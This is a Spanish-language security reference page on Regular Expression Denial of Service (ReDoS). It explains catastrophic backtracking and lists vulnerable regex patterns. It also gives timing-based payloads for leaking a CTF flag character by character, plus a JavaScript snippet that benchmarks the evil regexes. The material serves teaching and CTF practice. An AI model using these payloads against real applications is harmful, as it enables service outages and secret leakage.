Regular expression Denial of Service - ReDoS

Denegación de Servicio por Expresión Regular - ReDoS

Denegación de Servicio por Expresión Regular (ReDoS)

Una Denegación de Servicio por Expresión Regular (ReDoS) ocurre cuando alguien aprovecha las debilidades en cómo funcionan las expresiones regulares (una forma de buscar y hacer coincidir patrones en texto). A veces, cuando se utilizan expresiones regulares, pueden volverse muy lentas, especialmente si el texto con el que están trabajando se vuelve más grande. Esta lentitud puede llegar a ser tan mala que crece muy rápido con incluso pequeños aumentos en el tamaño del texto. Los atacantes pueden usar este problema para hacer que un programa que utiliza expresiones regulares deje de funcionar correctamente durante mucho tiempo.

El Algoritmo Naïve Problemático de Regex

Consulta los detalles en https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Regex Maliciosos

Un patrón de expresión regular malicioso es aquel que puede quedarse atascado con entradas diseñadas causando un DoS. Los patrones de regex maliciosos típicamente contienen agrupaciones con repetición y repetición o alternancia con superposición dentro del grupo repetido. Algunos ejemplos de patrones maliciosos incluyen:

• (a+)+

• ([a-zA-Z]+)*

• (a|aa)+

• (a|a?)+

• (.*a){x} para x > 10

Todos esos son vulnerables a la entrada aaaaaaaaaaaaaaaaaaaaaaaa!.

Cargas Útiles de ReDoS

Exfiltración de Cadenas a través de ReDoS

En un CTF (o programa de recompensas por errores) tal vez controlas la Regex con la que se coincide una información sensible (la bandera). Entonces, podría ser útil hacer que la página se congele (timeout o tiempo de procesamiento más largo) si la Regex coincidió y no si no coincidió. De esta manera podrás exfiltrar la cadena caracter por caracter:

• En esta publicación puedes encontrar esta regla de ReDoS: ^(?=<flag>)((.*)*)*salt$

• Ejemplo: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

• En este informe puedes encontrar este: <flag>(((((((.*)*)*)*)*)*)*)!

• En este informe se utilizó: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Control de Entrada y Regex en ReDoS

Los siguientes son ejemplos de ReDoS donde controlas tanto la entrada como la regex:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Herramientas

• https://github.com/doyensec/regexploit

• https://devina.io/redos-checker

Referencias

• https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

• https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets

• https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html

• https://ctftime.org/writeup/25869